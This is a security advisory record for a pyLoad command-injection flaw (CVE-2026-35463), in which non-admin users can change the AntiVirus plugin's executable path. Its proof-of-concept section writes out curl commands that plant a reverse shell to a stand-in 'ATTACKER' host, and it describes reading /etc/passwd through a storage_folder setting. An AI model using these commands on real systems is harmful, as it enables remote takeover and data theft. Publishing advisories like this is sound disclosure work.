{"id":"CVE-2026-35463","aliases":["GHSA-w48f-wwwf-f5fr","PYSEC-2026-2267"],"title":"pyLoad: Improper Neutralization of Special Elements used in an OS Command","summary":"pyLoad: Improper Neutralization of Special Elements used in an OS Command","severity":"high","cvss":8.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","vendor":"pyload-ng","product":"pyload-ng","ecosystem":"pip","affected":["pyload-ng <= 0.5.0b3.dev96"],"published":"2026-04-04","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-w48f-wwwf-f5fr","references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35463"},{"url":"https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"},{"url":"https://github.com/pyload/pyload"}],"tags":["osv","pip"],"epss":0.00815,"epssPercentile":0.55117,"ingestedAt":"2026-07-13T18:58:04.039Z","slug":"CVE-2026-35463","body":"## Overview\n\n### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n    \"reconnect.script\",      # Blocks script path change\n    \"webui.host\",            # Blocks bind address change\n    \"ssl.cert_file\",         # Blocks cert path change\n    \"ssl.key_file\",          # Blocks key path change\n    # ... other sensitive options\n}\n```\n\n**Where it IS enforced — core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n    if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n        if not self.user.is_admin:\n            raise PermissionError(\"Admin only\")\n    # ...\n```\n\n**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**\n\n```python\n    # Plugin config - NO admin check at all\n    self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n    avfile = self.config.get(\"avfile\")    # User-controlled via plugin config\n    avargs = self.config.get(\"avargs\")\n    subprocess.Popen([avfile, avargs, target])  # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.avfile' \\\n  -d 'value=/bin/bash'\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.avargs' \\\n  -d 'value=-c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"'\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.activated' \\\n  -d 'value=True'\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n  -d 'name=test' \\\n  -d 'links=http://example.com/test.zip'\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** — Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n    \"AntiVirus.avfile\",\n    \"AntiVirus.avargs\",\n    # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n    if not self.user.is_admin:\n        raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.\n\n## Affected packages\n\n- `pyload-ng <= 0.5.0b3.dev96`\n\n## Remediation\n\nRefer to the advisory for the patched release.","depth":"twilight","depthScore":49,"depthScoreParts":{"impact":48.4,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}